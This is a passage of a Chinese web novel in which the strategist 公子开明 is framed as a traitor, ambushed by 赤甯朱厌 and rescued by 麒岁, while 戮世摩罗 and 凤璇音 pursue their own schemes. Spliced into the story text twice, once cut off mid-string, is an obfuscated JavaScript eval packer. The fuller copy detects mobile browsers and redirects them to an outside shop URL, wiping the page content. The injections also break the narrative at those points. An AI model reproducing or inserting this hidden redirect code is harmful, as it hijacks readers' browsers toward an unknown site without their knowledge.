麒岁摇摇头,“我若不装作受重伤的样子,估计今天就要没命了。南宫先生是正人君子,不会乘人之危,是我投机取巧,暂且保住一命。” 凤璇音后退一步,似乎还是有些不太相信,“四哥,你真的受伤不重?” 麒岁点点头,“你现在让我去和祸雕过过招都没问题。” “哎,四哥你不受伤的时候也打不过祸雕啊。”凤璇音摇了摇头,一本正经地说道。 麒岁也不反驳她,只是笑了笑,而后问,“对了,你怎么也刚好在这里?” 这间密室是凤凰塔楼的地下层。凤凰塔楼是建在羽瑞寒魄宫里的一座军事建筑,由于凤鸣山是苕水海峡之畔最高的一座山,麒岁就在寒魄宫中修建了一座高塔,以随时观察浮玉关方向的情况,按理来说,凤璇音应该不常来这里的。 “这不是今天四哥和南宫先生对决,我心里紧张,想上塔楼看看情况嘛。”凤璇音解释道,“可那峡谷上方的山崖把谷底挡得严严实实,我什么都看不到,只剩干着急了。” “现在不用着急了。”麒岁安慰她道,“我好好的回来了。” “说起这个,”凤璇音又道,“还有件事情,我不知道和你们的决战有没有关系,但是我想和你说一下……” “嗯?”见凤璇音脸上有些犹豫之色,麒岁有些好奇地问,“什么事情?” 凤璇音斟酌了一下,抬起眼睛看着麒岁道,“刚刚我在凤凰塔楼里,看到海峡对岸,有一支修罗国度的兵马过境,去向句余山谷了。” “什么?”麒岁闻言一惊,“是从浮玉关来的军队吗?” “嗯,看方向是浮玉关。”凤璇音点点头。 “领军大将是谁?”麒岁问,“赤甯朱厌?还是幽陀鬼羿?” 凤璇音想了想,而后道,“领军大将似乎有两位,其中一位是赤甯朱厌,还有一位……” 她顿了一下,有些不太确定地道: “好像是……策君,公子开明。” —— 山谷之中,黄沙阵阵,黄雾弥漫,彩岩之上不断有碎石滚落,点缀着谷底厮杀的声音。 杀戮已开场多时,地上已经有好几具修罗魔兵的尸体了。 公子开明一人面对气势汹汹的赤甯朱厌和一众魔兵,他心里虽清楚自己击败对面顶多只是时间的问题,但因为面对的是修罗国度的魔兵和浮玉关的守关大将,对战起来不免感到有些束手束脚。 他一杖击飞冲上来的魔兵,又转身去抵挡赤甯朱厌的大刀。赤甯朱厌力大无穷,刀势又凶猛异常,公子开明凝聚内力去接,虽挡住了对方的攻击,却也被打出了几米开外。 心口处的剧痛还在继续,公子开明明白了,或许前几天的那一掌并不是为了杀他,而单纯只是想要重伤他,削弱他今日的战力。 看来那个刺客,多半是赤甯朱厌找来的了。 “你说我叛国,你有什么证据?” 见赤甯朱厌再次挥刀砍上来,公子开明急忙用降妖宝杖挡住。 “整个边关都知道你和凶岳疆朝四皇子密谈过多次,和敌国皇子一直保持联系,你以为自己还说得清吗?” 赤甯朱厌转换刀势,再次对着公子开明一阵猛攻。公子开明旋身躲过他的攻击,长杖一挥去打赤甯朱厌的后背。 赤甯朱厌吃了一杖,又一刀挥向公子开明,在对方手臂上带出一刀长长的伤口。 “那只是流言而已。” “流言也有其可信之处,不然为什么会传出这样的流言?更何况那么多人看到凶岳疆朝之人从你的木鸢上飞下来,你又怎么解释?” 公子开明与赤甯朱厌猛地对掌,霎那间山川震动,碎石滚落,宛如天灾乍现,动摇山河。随即两个身影被齐齐震了出去,落地后皆是吐了一大口血。 公子开明拿宝杖支住自己的身体,忽然见自己方才被震开时,有一个绿色的东西似乎从他身上飞了出来。 那东西在半空中划了一个弧,“啪”地落到了地上。 公子开明和赤甯朱厌皆是定睛一看,发现那竟是凶岳疆朝皇子的信物——龙血翡翠! 遭了!公子开明心想,那是麒岁先前来找他时给他的,居然被这只赤猴给打出来了! 赤甯朱厌起步就要去抢,公子开明见状,忙窜了过去,先赤甯朱厌将那龙血翡翠捡了起来! 赤甯朱厌没抢到翡翠,见自己和公子开明距离甚近,便也不浪费这个机会,起手就是一掌,直击公子开明旧伤之处! 公子开明为抢翡翠,硬生生接了这一掌,被打出去了好几丈远,拿宝杖支在地上,才勉强没有摔倒。 “龙血翡翠,那是只有凶岳疆朝的皇子才有的信物,”赤甯朱厌看到了证据,不禁大笑,“公子开明,这下你还有什么话好说?” 公子开明摆了摆手,破罐子破摔地道,“没了!没了!我没有话说了,这东西是那只夭寿龙老四硬塞给我的,结果就被你看见了,此时我真的是百口莫辩有口难辩无话可说!” “哼!”赤甯朱厌喊道,“那你就受死吧!” 说罢,招呼身后的魔兵,再次向公子开明杀来! 公子开明支着宝杖,抬头看看黄沙飞舞的天空。 都打了这么长时间了,救兵是不是也该来了…… 不会真打算把他扔在这儿,让他自己解决赤甯朱厌吧…… 眼见赤甯朱厌和魔兵们杀气腾腾地朝他袭了过来取,那血色的大刀已经举在了他的头顶,公子开明握住了背后的宝杖,一道火焰从他的指尖燃了出来。 “你非要逼我杀……” 他本想说“逼我杀你”,但话还没说完,他身后忽然爆发出一股强烈的杀气! 还不等公子开明回身,一把陌刀忽然自他后方闪了过来,在他的肩膀上方刺了出去,稳稳地挡住了赤甯朱厌砍向公子开明的那把刀! “咦?” 看到那把陌刀,赤甯朱厌愣住了,公子开明也愣住了。 公子开明转头身看向身后,接着就看到了身后的持刀人—— 麒岁! 只见他陌刀向上一挑,绿色的邪光乍现,直接把愣住的赤甯朱厌震了出去! “怎怎怎……”公子开明似乎是被突然出现的四皇子吓了一跳,整个人像只兔子一样地跳起来了,“怎么会是你?!” 麒岁收回陌刀,皱了皱眉头,似笑非笑地问,“应该有别人来救你吗?” 公子开明抱住脑袋,一脸世界末日要来了的表情,“完了完了完了,怎么会是你啊!这下本策君跳进沉沦海都洗不清了!” 麒岁面对公子开明的嫌弃感到哭笑不得,“有人来救你就不错了,还那么多要求?” 麒岁话音刚落,对面就传来赤甯朱厌咬牙切齿的声音,“哼,公子开明,你果然和凶岳疆朝的人有勾结!今日赤甯朱厌必杀你,为修罗国度除害!” “你看你看你看!你是来救我还是来害我!”公子开明凑到麒岁旁边崩溃地大喊,吵得麒岁直接捂住了耳朵:“耳朵要瞎了策君……小声些……” “我都被冤枉叛国了我小声什么小声!”公子开明张牙舞爪地喊道,“现在怎么办现在怎么办你说怎么办!” 麒岁一脸无辜地指了指自己,“你是策君你问我怎么办?”他反问道,“这里所有的人加起来没你一个脑子好使,你问我怎么办?” “你——不是说你来救我的?” 麒岁点了点自己的额头,“我负责揍人,你负责动脑子,不应该这样分工吗?” “……我竟无言以对。”公子开明拍拍自己的额头,“算了算了算了,你不要出手,在旁边看着就好!” 两人说话间,赤甯朱厌又抡着大刀砍了过来,公子开明见状,急忙挥出降妖宝杖,但武器却不是冲着赤甯朱厌而去,他一掌拍开赤甯朱厌的身影刀,宝杖却是向赤甯朱厌身后的魔兵打了过去! “啊!——” 随着几声尖叫,地上又多了好几具魔兵尸体。 公子开明回头看一眼麒岁,发现他还挺听话,真的将陌刀收了起来,站在旁边看戏。 公子开明略一思考,忽然转到赤甯朱厌的身后,一手用降妖宝杖挡住对方的刀,另只手猛地拍出一掌,后面袭上来的魔兵瞬间倒下泰半! 赤甯朱厌的刀势越来越猛烈,公子开明却只避不攻,专心去杀那些攻击上来的魔兵。 魔兵一个一个倒下,赤甯朱厌带到注意力却全都放在公子开明一人身上,大刀猛烈的攻击,令公子开明在歼灭魔兵时也受了不少伤。 当最后一个魔兵也倒下时,赤甯朱厌才终于反应过来: “公子开明,你!” “啊所以我说赤甯朱厌脑子不好使就要乖乖听策君的话结果你又不听你看你怎么现在才反应过来要是在战场上犯这种错误我就要直接赏你五十军棍了!” 公子开明一边说着,一边调转方向,背对麒岁,一棍子朝赤甯朱厌打了过去! “哼!公子开明,你以为把魔兵都歼灭了,你就能赢我吗?” 赤甯朱厌掌心聚气,凝于长刀之上,一道惊天动地的掌气朝公子开明打了过来! 这是赤甯朱厌恼羞成怒打出的一刀,来势凶猛异常,公子开明单手持杖,先是在身后往地上猛地一打,震起无数尘沙挡住麒岁的视线,又伸出手护住自己的心脏。 而后,他站在原地,直直地受了这一掌! “噗!——” 尘沙中飞出一道血红,公子开明被这一掌打退了数步,好在麒岁站在他身后,忙扶住不断向后倒去的他。 公子开明抬头看了他一眼,猛地吐出一大口血。 麒岁没想到这一掌伤他这么严重,惊了一下,“策君?!” 公子开明摇了摇头,虚弱地说了一声,“打不了了……走……” 但他话还没说完,就闭上眼睛,朝直接后面倒过去了。 —— 戮世摩罗站在议事厅门外,一看见朝他匆匆走来的幽陀鬼羿,就开口询问,“赤甯朱厌呢?” 幽陀鬼羿似乎对戮世摩罗会突然出现在浮玉关这件事感到非常的诧异,脸上还带点难以置信的神色:“帝尊……我们进来说话。” “先回答我的问题,”虽然幽陀鬼羿已经把门打开了,但戮世摩罗还是站在门口丝毫未动,“那只赤猴跑到哪里去了?” 幽陀鬼羿犹豫了一下,最后叹了口气,“两个时辰前,朱厌将军拿着赤符,说帝尊在句余山谷遇到了危险,就和策君一起,带着一队人马前去救援了……” “危险?”戮世摩罗像是听到了什么笑话一样,指了指一旁的网中人,“妖神将和我在一起,我能遇到什么危险?这赤猴在搞什么?” “所以刚刚看到帝尊,属下才会感到诧异……”幽陀鬼羿斟酌着话语说道,“按朱厌将军的说法,帝尊现在应该还在危险中……” “那本帝尊现在安全得很,还真是不好意思了。”戮世摩罗一本正经地和幽陀鬼羿道歉。 “属下不是这个意思……” “谁给他的权力出兵的?”戮世摩罗问。 幽陀鬼羿愣了一下,随即道,“帝尊您忘了,之前您给了朱厌将军一张赤符,和他说若是军中有叛国之人,可以以此符为令,直接捉拿……” 戮世摩罗得出结论,“所以他是拿着我给他的赤符去捉拿叛臣了?” “这……属下不知……” “跑去凶岳疆朝捉拿修罗国度的叛军,赤猴还挺有创意。”戮世摩罗一边说着,一边走到议事厅最前面的椅子上坐下,“本帝尊今天就在这里等着他,看他什么时候回来,给我抓了哪个叛臣回来。” 幽陀鬼羿看看戮世摩罗,又看看网中人,最后“唉”了一声,“那属下去准备些茶点……” “给你自己也准备点。”戮世摩罗说,“方便等会儿看好戏。” …… 赤甯朱厌是几近子时才回来的。 他刚一到军营,负责站岗的魔兵就告诉他,议事厅帝尊有请,他便马不停蹄地赶来了议事厅。 当他跑进议事厅时,看到帝尊正坐在最前面的椅子上,慢悠悠地喝茶,网中人坐在他右手边,沉着脸一言不发。幽陀鬼羿坐在左边,见他闯进来,一下子就站了起来。 赤甯朱厌看看帝尊,急忙跪在了地上: “帝尊!参见帝尊!” 戮世摩罗看了他一眼,将茶杯轻轻放到了桌子上,不紧不慢地道,“刚一进来就行此大礼,不知道的还以为本帝尊马上要斩你头了,进来求我饶过你呢。” 赤甯朱厌抬起头来看戮世摩罗,他知道对方多半是要询问他白天带军出去做什么了,但帝尊不开口问,他也不敢开口答。 戮世摩罗没看他,而是拿起桌子上一块红色的小糕点: “白天带兵干嘛去了?” 他问得很随意,好似是饭桌上随便问的一句天气一般。但越是这样漫不经心,越是让赤甯朱厌感到心惊胆战。 赤甯朱厌低着头回道,“属下……属下带兵去句余山谷援助帝尊……” “你援助我,是援助到哪里去了?”戮世摩罗问他,“本帝尊在句余山谷里呆了那么长时间,也没看见你半个影子,你是梦里去的吗?” 赤甯朱厌深吸一口气,忽然低下身子,将头“咚”地一声嗑在了地上。 戮世摩罗像是被他吓了一跳,“将军,你这是做什么?没援助到我,也不用愧疚得以死谢罪吧?” 赤甯朱厌大声道:“帝尊恕罪!” 戮世摩罗:“不恕。” 赤甯朱厌猛地抬头,“帝尊!” 戮世摩罗又道,“但本帝尊今天心情好,愿意先听你讲讲,到底是去句余山谷干嘛了?” 赤甯朱厌颤抖着声音道,“属下,属下是去捉拿叛臣了!” 戮世摩罗问:“谁?” 赤甯朱厌深吸一口气道,“公子开明!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……”赤甯朱厌发现自己一句话都反驳不了,于是只好再次重复,“总之,帝尊,公子开明他一定是与凶岳疆朝有勾结的!帝尊明察!” 戮世摩罗叹了口气,“人都给你赶去凶岳疆朝了,我还查什么?真当你帝尊天天闲得冒泡是吗?” 赤甯朱厌急忙低头,“属下失言。” “你这不仅仅失言了,你还失魔了。”戮世摩罗一下子直起身道,“眼看着就要开战了,你给我把策君给弄没了,你说怎么办吧。” 赤甯朱厌低着声音道:“可……可帝尊当初给我赤符,说如果军中有叛国者,直接以此符捉拿。之后又把公子开明调来浮玉关,不就是……不就是为了让属下捉拿公子开明吗?” 戮世摩罗问,“我有说叛国的人是公子开明吗?” “可是,边关的人都知道……” “你自己和公子开明有过节,蓄意报复,还要赖到本帝尊头上?”戮世摩罗的声音忽然带了杀气,“赤甯朱厌,你胆子不小啊。” 赤甯朱厌知道自己又说错话了,急忙再次叩头,“属下失言!” 戮世摩罗摇了摇头,“你这言失的也太多了,妖神将,干脆把他毒哑吧,不言就不会失言。” 网中人“哼”了一声,“打死更直接。” 赤甯朱厌忙恳求道,“帝尊,请您明鉴,属下真的是怕有人通敌叛国对修罗国度不利,才会如此行事,并非是因为与公子开明有过节啊!那公子开明若真没有通敌叛国,为何边关流言如此严重?他又为何带着凶岳疆朝皇子的信物?” “噢,那你有将信物带回来吗?”戮世摩罗问他。 “这……没有……”赤甯朱厌又把头低下去了。 “连个信物都抢不回来?”戮世摩罗问,“所以你今天去句余山谷到底是干什么去了?送人头去啦?” 赤甯朱厌已经不敢将头抬起来了,“……帝尊,这次是属下鲁莽,犯下大错,属下恳请一个将功补过的机会!” 戮世摩罗看了看网中人,又看了看幽陀鬼羿,思考了一阵,而后点了点头:“嗯……将功补过,也不是不行。” 顿了一下,他道,“开战在即,策君却没了,这可不行。不如今后就由你代理策君一职吧。” 此话一出,在场所有人都怔住了,赤甯朱厌更是震惊到以为自己听错了的程度,“啊?帝尊?”他难以置信地指了指自己,帝尊要让属下做策君吗?” 戮世摩罗点点头,“对啊,你把策君赶跑了,那由你来做策君,不是很合适吗?” “这……”赤甯朱厌犹豫了。 “本帝尊和你简单说下策君的工作,”戮世摩罗坐直了身子,居高临下地看着赤甯朱厌,“首先,你得去离修罗魔都最近的招摇关,公子开明守在那里的时候,凶岳疆朝是不敢进犯修罗国度的,你也要达到这个效果。” “其次,开战在即,你要作为修罗国度的军师,为本帝尊出谋划策,确保每一场战役的胜利。若是战策有失误,你需按照军法处置。” “最后,策君常年维持着修罗国度和幽闇联盟的合作,如果换人的话,还需要你去联系一下胜弦主,当然,你去找那个蓝衣服金头发的剑客也可以,不过他和策君关系很好,别让他追着你杀就行。” “啊,还有一些琐事,因为太多了,我就不具体和你说了,”戮世摩罗拍了拍自己的心口道,“毕竟本帝尊一向话少不愿多说,以上你可听明白了?” “这……”赤甯朱厌面露难色,“这……我……” “怎么了?”戮世摩罗问,“你不是说要将功补过吗?做不到?” 赤甯朱厌支支吾吾半天,也说不出一句话来。 戮世摩罗见他半天说不出一句完整的话,似乎有些不耐烦了,皱着眉头道,“做不到就说做不到,承认自己做不到很难吗?” 赤甯朱厌跪在地上,挣扎了半天,最后叹了口气道,“唉!帝尊,属下……做不到!” 戮世摩罗冷笑了一声,“总算有点自知之明了。” 顿了顿,他又道,“赤甯朱厌,一个好魔要对他自己的能力有一个基本的认识。你要做的不是盯着策君的位子,而是把你自己位子变得像策君那样无可替代。” 赤甯朱厌深深地低着头,一言不发。 戮世摩罗又道,“我念你是为修罗国度好,就不降你死罪了。自己去领三十军棍,调去招摇关曼邪音手下做事。浮玉关调来赤水关的祸英白蜚,和幽陀鬼羿一起守。” 赤甯朱厌闻言,忙向戮世摩罗不停磕头,“谢帝尊饶恕,谢帝尊饶恕……” “好了够了。”戮世摩罗站起身,单手背后,绕过赤甯朱厌朝门口走去,“别再叩头了,再叩就真的没有脑子用了,毕竟以后开战,本帝尊还有用得着你的地方。” 说罢,回头看了一眼网中人,径直朝外面走去了。 戮世摩罗一路走到城墙上,才停下步子,看向远处一片深幽幽的海。 苕水海峡漆黑一片,微弱的几点灯火在远处闪烁,海风带起海浪,掀起波涛的声音,仿若有一只猛兽,躲在黑暗中,伺机而动。 网中人走到他身侧,语气平静地道,“我以为你会杀他。” 戮世摩罗摇了摇头,“公子开明和他不对付,还留他守了那么多年浮玉关,自是有不能杀的理由,暂且放他一马。而且经过这一次事件,他在军队里的亲信基本也都被解决掉了,他现在就是个光杆司令,不足为惧。” 顿了顿,又道,“不过,策君果然就是策君,本帝尊都没和他商量过,他就能看出我的意图。” “赤甯朱厌被你算计了。”网中人说,顿了顿,又改口,“被你们。” “你这样说得我好像很心机。”戮世摩罗抗议道。 网中人没搭理他这句话,又问道,“边关的谣言,是你传出去的?” 戮世摩罗捋了一下额前的头发,没说话,算是默认。 网中人又问,“公子开明现在在凶岳疆朝,你接下来要怎么办?” “接下来嘛……”戮世摩罗看着眼前黑漆漆的海峡,一双眼睛露出了狼一样的目光: “别人都要一石二鸟,我比他们聪明些,”他看着网中人,脸上露出一个成竹在胸的笑: “我要一石三鸟。” —未完待续— 10. 入局(5) 【10】 凤璇音绕过屏风,走到书柜前,刚停下脚步,就看到书柜转了个方向,而后,麒岁从书柜后面的门洞里钻了出来。 凤璇音定睛一看,发现她四哥背上还背着个人。 “……是策君?”凤璇音看着那人猜测道。 “嗯。”麒岁一边点着头,一边走进来,把公子开明放到了屏风后的榻上。 “他中了赤甯朱厌的埋伏,被打伤了,我就用西王母印把他带过来了。” 凤璇音走上前,拿起公子开明的手把了一下脉,有些讶异地看向麒岁,“你把他的功体封了?” “嗯。”麒岁点了点头,却没说为何要这样做。 不过想想也知道,她这四哥好不容易把人拐来凶岳疆朝,把他功体封了,多半是怕他醒了以后自己跑了罢。 凤璇音盯着麒岁看了两三秒,而后道,“四哥,我知道你想带策君一起回凶犁魔都,但是恐怕你现在立刻就得往魔都赶了。” 麒岁一怔,有些疑惑地询问,“为什么?” 凤璇音解释道,“如今父王失踪,其实和驾崩也没什么区别。你和六哥现在都不在朝中,此时谁先赶回魔都主持大局,谁就能占据主动。你若是要等策君醒来再出发,恐怕就要慢六哥一步了。” 麒岁犹豫了一下,低头看看公子开明,“可是……” 凤璇音提议,“不如你先将策君留在我这里,反正没有西王母印,他也出不了寒魄宫。你先赶回魔都主持大局,待局势稳定了,你再过来接策君也不迟。” 麒岁有些担心地问,“倒是个办法,只是这段时间若有修罗国度的人找上门来怎么办?” 凤璇音安抚他道,“寒魄宫外的三层结界,无论多么厉害的魔,没有西王母印照样闯不进来,他出不去,别人进不来,有什么好担心的。” 麒岁斟酌了片刻,最后点点头,“也好,那这段时间就麻烦凤妹你照看一下策君了。” 他一边说着,一边再次看向公子开明: “刚刚在密道里我用功力给他疗过伤,这些时日你看着他好好养伤,我处理完朝中事情就过来找你们。” 凤璇音点点头,“你放心去吧。” “我这就去找祸雕。”麒岁拍了拍凤璇音的肩膀,转身绕过屏风,打开门,朝楼上走去了。 —— 外面风雨大作,雨点哗啦啦地打在屋檐上,噼里啪啦地奏着歌,像是无数个小鼓在急促地敲击。雨水从云层倾泻而下,连成一片,将远处的山川氤氲成一片模糊。 忆无心本以为这样的天气不会有人出门,可当她坐在桌前看书时,却忽然听到有人在“噔噔噔”地敲她的门。 忆无心“咦”了一声,起身走到门口打开门,发现居然是阿若站在门外。 只见阿若身穿蓑衣,帽子和身上滴滴答答全是水,脸上也是小溪横流,门一打开,她就笑着迎上来道,“无心!你看我刚刚在后山上找到什么?” 她一边说着,一边伸出手来,将手里的东西递给忆无心看。 忆无心低头一看,发现是一块五彩斑斓的石头。 忆无心此时哪还顾得上什么石头,她急忙把阿若拉进屋里,然后把门关上,“外面下这么大的雨,你这是出去做什么呀,快进来。” 阿若走进屋里,还在兴奋地喋喋不休,“我听我哥说后山上有‘五生石’,就跑去找了找,没想到还真的找到了这种五彩斑斓的石头!”她开心地道,“我从小就喜欢收集石头,你看,好不好看?” “好看是好看,只是你何必下雨天跑去找呢?”忆无心帮阿若把帽子摘下来,又递给她一条手帕,“快擦擦脸,全是雨水。” “早上哥哥和我说的,我就去找啦,那时候还没下雨呢。”阿若笑嘻嘻地接过手帕,似乎丝毫不在意自己湿漉漉的脸颊和头发,“无心,你别忙啦,这块石头是我找来送你的,你拿着吧。” 忆无心本想去给她倒点热水,听阿若这么一说,动作一下子顿住了,“给我的?” “对呀。”阿若一边说着,一边拿过忆无心的手,把那块彩色石头放到忆无心手里,“我听逍遥哥哥说,你的灵能可以和石头产生共鸣,我想你应该和我一样也很喜欢各种各样好看的石头吧,就去找来送你。” “你特意为我去找的吗?”忆无心指了指自己问道。 “对呀。”阿若点点头。 “啊,谢谢你,这个石头很好看,我很喜欢。”忆无心急忙两只手接住石头,十分诚恳地向阿若道谢,“你刚刚说,这个叫什么……什么石?” “五生石!”阿若看到忆无心收下了她的礼物,眼睛都笑成了两弯月牙,“据说是因为这种石头和古籍中记载的‘五生石’很像,颜色五彩斑斓,所以苗疆的人也把这种石头叫做‘五生石’。不过,古籍里记载真正的‘五生石’有巨大的灵能,苗疆的这种石头大概是没有那种能量的,只是看起来很漂亮,可以用来做装饰。” “五生石……?”忆无心小声重复了一下,她记得好像有在魔门世家的哪本书中看到过这个名字 ,“是哪里的古籍呀?” “嗯……这我就不知道了,”阿若摇了摇头如实回答道,“是哥哥告诉我的,我也没看过那本书。” “啊……没事,我也就是随便一问。”忆无心摇了摇头,“谢谢你送我的五生石。” ??顿了一下,又道,“你为了送我石头,都淋成这样了,我先去给你倒点热水喝。” 阿若开心地笑着道,“无心,你真好。” 擦干了雨水,喝了些热水暖了暖身子,阿若就坐在桌前和忆无心聊了起来。她说最近珂绒族和骆羿族的矛盾似乎越来越深了,“父亲每天都是一副怒气冲冲的样子,我现在都不敢和他说话了。” 阿若托着腮,面带忧虑地说道,“也不知道王上是准备怎么解决这件事情。” “王上当然是想要以和为贵。”忆无心安慰她道,“能不用武力解决,就不用武力解决。” “是啦,我也是这么想的。”阿若摇着头叹了口气,“但是父亲他好像只想用武力解决问题,王上不给他开战的权力,他就特别生气。” “战争一旦开始,无论最后谁赢谁输,受苦的永远是百姓,王上是不想看到人民受苦。”忆无心解释道,“你父亲现在只是在气头上,过去这一阵,他一定能想明白的。” “嗯。”阿若点点头,“希望父亲能早日放下心结。” 两人正说着话,门外忽然传来一个苗兵的声音,“大祭司!大祭司!祭祀台有情况!” 忆无心听见声音,有些讶异地和阿若对视一眼,而后起身走到门口,把门打开了。 只见门外站着一个苗兵,满脸焦急,说话都有些舌头打结了,“大祭司,你快去,快去祭祀台看看吧!” “发生什么事了?”忆无心见他如此着急,忙询问,“是有人私自闯入吗?” “我……我也不知道算不算。”苗兵看起来很慌张,“方才我就在祭祀台前好好守着,忽然看到半空中出现了一道很刺眼的光,照得我睁不开眼睛。过了一会儿,那光变弱了,我看到半空中竟然出现了一道圆形的门!” “圆形的门?”忆无心讶异地重复。 “嗯!”苗兵点点头,“那门出现没一会儿,里面就飞出来一个人,一下子跌落在地上。随后那门就消失了。我们几个苗兵看着那摔在地上的人,浑身是血,昏迷不醒,也没敢靠近,就赶忙来找大祭司您了!” 忆无心忙从墙壁上取了帽子蓑衣,“别慌,”她一边戴上帽子,一边朝门外走去,“我去看一看。” “哎!无心,我和你一起去!”她刚向外走了一步,阿若也跟了上来。 忆无心摇摇头,“你刚刚淋了雨,还是先歇一歇……” “没事,我自己在这里也无聊。”阿若带些恳求地道,“你就让我和你一起去吧~” 忆无心犹豫了一下,看到阿若那满是祈求的眼神,最后只得叹了口气,“哎,好吧!你穿上蓑衣,随我来。” “好,一切听从大祭司指令!”阿若得了允许,开心得像三月明媚的太阳一般,跑到墙边拿了帽子和蓑衣,就跑出来找忆无心了。 三个人冒着雨一路匆匆来到祭祀台,只见祭祀台上已经围了一圈苗兵,都拿着武器指着台子中央,直到忆无心来了,那个苗兵喊了一声,“大祭司来了!大家让一让!”那些苗兵才挪了挪位置,给忆无心让开了一条道。 忆无心压着帽子走进去,走到地上那个昏迷的人旁边,蹲下身来看。 那是个身穿绿袍子的老者,身受重伤,浑身是血。他手里还拿着一个长杖,杖上的幡布也被撕扯得到处都是口子,看起来惨不忍睹。 看起来,这个人在掉到祭祀台前,似乎刚刚经历了一番恶战。 阿若也挤了进来,在老者旁边蹲下了。 “是个老爷爷?”当她看清地上之人的情况是,吃了一惊,“怎么受了这么严重的伤啊?我去找榕姐姐……” 她话没说完,忆无心就制止了她,“等等。” “嗯?”忆无心发话,阿若就没敢动,“怎么了?” 忆无心皱了皱眉头,抬起头来看阿若,神色之间有些异样。 “他……” 她似乎有些犹豫,话说到这儿,停顿了一下,才又继续道: “他是魔族。” —— 公子开明从醒来之后,就一直在思考一件事情。 ——他为什么会在这里。 其实刚醒来时,那个火凤郡主凤璇音已经告诉了他这里是哪里。除此之外,凤璇音还和他讲了他的功体被封住,以及龙老四赶往魔都,他被留在寒魄宫的原因。 他听完之后,只有一个疑问: 他为什么会被带来这里。 先前,他被赤甯朱厌用一个赤符引来句余山谷,发觉自己中计时,他第一时间想到的是——“谁给他的赤符”。 因为只有赤符,才能让他来不及判断局势直接出兵。 而能发出赤符的人,只有戮世摩罗。 那么就只有两种可能性—— 要么,戮世摩罗真的听信了边关流言,认为他叛变要杀他。要么,这是他的一个局。 第一种,以戮世摩罗的智商来说,基本不可能。 那么,如果是第二种的话,这个局又是为谁所设? 在与赤甯朱厌对战之时,公子开明猜测戮世摩罗是想要通过此局将赤甯朱厌陷入扰乱军心的罪名,打击他的气焰,同时削弱他在军中的势力,所以公子开明才会将他身边的魔兵尽数歼灭。 但有一点他没有料到——他以为来救他的人会是戮世摩罗和网中人,但来的人却是麒岁。 麒岁来得也很奇怪,按理来说,他刚刚结束和黑白郎君的决战,不应该再回来,但他偏偏还出现了。 这么不正常的事情出现,只能说明一件事—— 有人想让这件事不正常。 于是公子开明将计就计,正面中了赤甯朱厌一掌,假装重伤,让麒岁带他离开了。 所以,此时此刻他出现在这里,应该是在计划内的一件事情,还是在计划外的一件事情?这个计划又是什么?是谁布下的?戮世摩罗?还是麒岁? 他觉得自己的脑子很乱,要是有个人在他旁边听他絮絮叨叨理一下思路就好了…… 唉,阿飘也不在…… 下午的时候,凤璇音过来给他送茶。公子开明看着这位衣着华丽一身金饰的郡主给他倒茶,忍不住开口道:“其实你叫侍女过来做这些事情就好了,或者你让守在门口的那几个侍女放我离开,我自己去。你一个郡主天天给我端茶倒水,有点折煞我了。” 凤璇音拿着杯子的手顿了顿。 而后她抬起头,眉眼间带了点笑,“我之所以亲自来送茶,是觉得,策君应该有话想问我。” “唉唉唉!”公子开明夸张地叹了几声,“你想说什么,就直接说好咯。我来问的话,你还不一定能回答得上来。” “策君问吧。”凤璇音回答道,“只要我知道,就都告诉策君。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689169|144353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咦,咦,咦……”公子开明将手放在下巴上,摇晃着脑袋道,“你是凶岳疆朝的郡主,会对我一个修罗国度的策君这么好心。” 凤璇音笑道,“是真是假,我想策君可以自己判断。” “嗯嗯嗯……既然如此,我想想我想想……”公子开明低着头思考良久,最后抬起头来看向凤璇音: “你是麒岁的人?” “这个问题,策君心里应该已经有答案了。”凤璇音给公子开明递了一杯茶。 “为什么这么说?”公子开明接过了茶,却没有喝。 “策君若是没有答案,想必也不会问我了。”凤璇音语气平静地解释道,“按照策君醒来之后我给的情报,无论怎样看,我都是四哥的人。策君既然问我这个问题,就说明你觉得,我不是四哥的人。” 公子开明点了点头,对她的推断表示了肯定,“嗯嗯嗯,你说得对。无论怎样看,你都是在帮着麒岁,在你今天来给我送茶之前,其实我都是这么认为的。但是,就在你说你可以回答我的问题时,我才开始真正的怀疑,你是不是真的在帮助麒岁,不然就是——” 他的声音忽然变得低了下来: “你故意让我怀疑。” 凤璇音像是被揭穿了一样,略有些无奈地笑了一声,将茶杯放到了桌子上,“在策君面前玩弄心机,属实是有点班门弄斧了,所以我也无意和策君打哑迷。” 她顿了一下,继续道,“我先前,确实一直在帮助四哥。” “是我将《菩提残页》交给六哥,让父王和六哥误以为可以在句余山谷打四哥一个措手不及。父王的毒也是我下的,羽夜冰茶本身无毒,但和海魂珠的粉末混在一起,就是剧毒,一个月内必死无疑。” “哇,你对自己老爹真是太狠了,和我们家那个三岁帝尊有得一拼。”公子开明夸张地抖了抖,故意用很害怕的语气说道,“这些都是麒岁让你做的吗?” 凤璇音摇了摇头,“不是,但对他有利。” “那,既然你前面都那样说了,你应该也有暗中帮助过麒染吧?”公子开明问道。 凤璇音回答道,“六哥我帮的很少,因为在杀父王的这一局中,他本身就是一个必败的立场。我只是让他在父王面前伪装得蠢一些,可以救他一命。果不其然,四哥后来想要下毒嫁祸于他,他的蠢也确实保了他一命。” “关于这点,”公子开明评价道,“我觉得他不用伪装。” “哈,”凤璇音似是被公子开明的这句话逗乐了,“这一点,我与策君想法一致。” “你一会儿帮助麒岁,一会儿帮助麒染,搞得本策君也看不懂你究竟想要做什么了。”公子开明单手背后,故作头疼地说道,“唉唉唉!你说不和策君打哑迷,可你却处处在和我打哑迷啊!” 